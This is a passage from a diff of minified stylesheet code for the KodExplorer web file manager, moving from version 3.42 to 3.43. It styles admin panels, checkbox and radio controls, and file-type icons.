ul li.role_cell.select,#body .system_conennt .left_freame .left_content .role_box ul li.role_cell.select.role_cell_add{background:#63acff;color:#fff;}#body .system_conennt .left_freame .left_content .role_box ul li.role_cell .sub_menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}#body .system_conennt .left_freame .left_content .ztree li a{border-radius:3px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #eee;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode,#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#fff;}#body .system_conennt .right_frame{position:absolute;bottom:0px;top:0px;left:175px;right:0px;overflow:auto;padding:10px 10px 10px 20px;}#body .system_conennt .right_frame .group_title{font-size:25px;padding:8px 0;}#body .system_conennt .right_frame .group_title .group_title_span{border-bottom:2px solid;padding-bottom:3px;}#body .system_conennt .right_frame .group_title .group_size{position:absolute;margin-left:10px;border-radius:2px;font-size:12px;background-color:#f6f6f6;margin-top:5px;padding:6px 10px 0px;}#body .system_conennt .right_frame .user_tool_bar{background:#eee;border-radius:3px;padding:7px 0px;margin:10px 0px;}#body .system_conennt .right_frame .user_tool_bar .dropdown-menu{min-width:100px;}#body .system_conennt .right_frame .user_list table{border:none;border-top:1px solid #ddd;border-bottom:1px solid #ddd;}#body .system_conennt .right_frame .user_list table tr{background:#fff;border:none;border-bottom:1px solid #eee;color:#666;}#body .system_conennt .right_frame .user_list table tr.title,#body .system_conennt .right_frame .user_list table tr.title:hover{background:#fafafa;border-top:1px solid #ddd;font-size:1em;color:#666;}#body .system_conennt .right_frame .user_list table tr:hover,#body .system_conennt .right_frame .user_list table tr.selected{background:#fff9ed;cursor:default;}#body .system_conennt .right_frame .user_list table tr.unuse{opacity:0.3;filter:alpha(opacity=30);}#body .system_conennt .right_frame .user_list table tr td{height:30px;line-height:30px;padding:0;border-right:none;width:auto;}#body .system_conennt .right_frame .user_list table tr td .space_info_bar{height:25px;}#body .system_conennt .right_frame .user_list table tr td .space_process{margin-top:6px;margin-bottom:-6px;}#body .system_conennt .right_frame .user_list table tr td .space_info{width:110px;overflow:hidden;}#body .system_conennt .right_frame .user_list table tr td.select{width:30px;padding-left:10px;}#body .system_conennt .right_frame .user_list table tr td.select input{position:relative;}#body .system_conennt .right_frame .user_list table tr td.select input:focus{box-shadow:none;}#body .system_conennt .right_frame .user_list table tr td.select:hover{background:#f6f6f6;}#body .system_conennt .right_frame .user_list table tr td.name{min-width:95px;}#body .system_conennt .right_frame .user_list table tr td.name a{border-bottom:1px solid;padding:2px;}#body .system_conennt .right_frame .user_list table tr td.role{width:90px;}#body .system_conennt .right_frame .user_list table tr td.space{width:120px;}#body .system_conennt .right_frame .user_list table tr td.group{width:auto;}#body .system_conennt .right_frame .user_list table tr td.action{width:auto;}#body .system_conennt .right_frame .user_list table tr td .label-small{font-size:10px;font-style:italic;color:#698ebf;background:#E9F3F9;padding:1px;border-radius:2px;}body.setting_page .select_user_group{padding:20px;font-size:1em;}body.setting_page .select_user_group .title_info .title{display:block;width:210px;float:left;padding-bottom:10px;}body.setting_page .select_user_group .title_info .title_right{margin-left:50px;}body.setting_page .select_user_group .right_content,body.setting_page .select_user_group .center_action,body.setting_page .select_user_group .left_content{border:1px solid #eee;float:left;width:235px;height:300px;overflow-y:auto;}body.setting_page .select_user_group .left_content{margin:0px !important;overflow-y:auto;}body.setting_page .select_user_group .center_action{width:25px;border:none;}body.setting_page .select_user_group .center_action i{width:30px;height:30px;display:block;margin-top:150px;font-size:22px;color:#999;text-align:center;}body.setting_page .select_user_group .select_group_right{padding:0;list-style:none;}body.setting_page .select_user_group .select_group_right .group_self{height:30px;line-height:30px;border-radius:2px;}body.setting_page .select_user_group .select_group_right .group_self:hover{background:#def;}body.setting_page .select_user_group .select_group_right .group_self .title{color:#1e5494;padding-left:5px;}body.setting_page .select_user_group .select_group_right .group_self .icon-group{padding-right:10px;}body.setting_page .select_user_group .select_group_right .group_self .remove{float:right;cursor:pointer;height:30px;line-height:30px;width:22px;font-size:1.25em;text-align:center;color:#aaa;}body.setting_page .select_user_group .select_group_right .group_self .remove:hover{color:#f33;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li{padding-left:1em;font-size:13px;height:24px;line-height:24px;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected:hover{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li:hover{background:#def;color:#337ab7;}body.setting_page .select_user_group .group_select_box{font-size:1.1em;padding-right:2px;color:#aaa;position:relative;top:1px;display:inline-block;width:16px;}body.setting_page .select_user_group .group_select_box:before{content:"\f096";}body.setting_page .select_user_group #user_group_select a.this .group_select_box:before{content:"\f046";color:#3B99FC;}body.setting_page .select_user_group .select_drop_menu{margin-top:2px;float:right;}body.setting_page .select_user_group .select_drop_menu .btn{padding:0px 0.5em;margin-top:3px;} -/* ver 3.42(2017-04-07) [build 1491589356.3974] */ \ No newline at end of file +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.213] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none 